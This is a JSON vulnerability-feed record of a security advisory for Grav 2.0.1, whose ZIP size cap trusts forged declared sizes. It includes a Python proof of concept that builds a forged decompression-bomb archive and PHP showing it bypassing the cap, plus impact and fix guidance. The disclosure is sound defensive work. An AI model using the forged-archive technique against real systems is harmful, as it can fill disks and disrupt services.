{"id":"CVE-2026-61449","aliases":["GHSA-8h9x-89f2-m7x3"],"title":"Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer","summary":"Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer","severity":"medium","cvss":6.5,"vendor":"getgrav","product":"getgrav/grav","ecosystem":"composer","affected":["getgrav/grav = 2.0.1"],"patched":["getgrav/grav 2.0.2"],"published":"2026-09-17","updated":"2026-09-17","sourceUpdated":"2026-09-17T14:53:35Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8h9x-89f2-m7x3","references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61449"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61841"},{"url":"https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"},{"url":"https://github.com/advisories/GHSA-8h9x-89f2-m7x3"}],"tags":["ghsa","composer"],"epss":0.0044,"epssPercentile":0.37545,"ingestedAt":"2026-09-17T15:20:39.004Z","slug":"CVE-2026-61449","body":"## Overview\n\n### Summary\n\nThe decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums `ZipArchive::statIndex($i)['size']` and rejects an archive whose declared uncompressed total exceeds `system.gpm.archive.max_uncompressed_size` (default 1 GiB) before extracting (`ZipArchiver.php:77-86`; same logic in `GPM\\Installer::unZip` at `Installer.php:228-238`). `statIndex()['size']` is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while `extractTo()` writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.\n\n### Details\n\n`extract()`/`unZip()` validate every entry up front, then call `Folder::create` + `extractTo`. The size check is:\n\n```php\n$totalSize += (int) $stat['size'];          // declared central-directory size\nif ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }\n```\n\n`$stat['size']` is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during `extractTo`, so a forged-small value passes the gate and the real stream inflates to disk. The `max_files` (entry count) and `max_depth` (entry-name segments) checks are not forgeable this way.\n\n### PoC\n\nBuild a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:\n\n```python\nimport zipfile, struct\ndata = b'\\x00' * (10*1024*1024)\nwith zipfile.ZipFile('bomb.zip','w',zipfile.ZIP_DEFLATED) as z:\n    z.writestr('big.bin', data)\nraw = bytearray(open('bomb.zip','rb').read())\nraw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))\nopen('bomb_forged.zip','wb').write(raw)\n```\n\nDrive the exact pre-extraction loop, then extract:\n\n```php\n$zip = new ZipArchive(); $zip->open('bomb_forged.zip');\n$total = 0;\nfor ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }\n// => $total === 1   (what the 1 GiB bound checks: PASSES)\n$zip->extractTo('/tmp/zout');\n// => filesize('/tmp/zout/big.bin') === 10485760   (written despite the cap)\n```\n\nVerified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.\n\n### Impact\n\nA forged archive fills the disk / exhausts inodes during extraction. Reached via `GPM\\Installer::unZip` (`gpm install` / `direct-install` / `self-upgrade`) and admin backup restore (`ZipArchiver::extract`). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.\n\n### Fix\n\n`ZipArchiver.php:77-86` and `Installer.php:228-238`: don't trust the declared size. Extract each entry through a counting stream (`ZipArchive::getStream` + `fread` loop) and abort once cumulative written bytes pass `max_uncompressed_size`, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. `max_files` and `max_depth` remain effective.\n\n## Affected packages\n\n- `getgrav/grav = 2.0.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `getgrav/grav 2.0.2`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}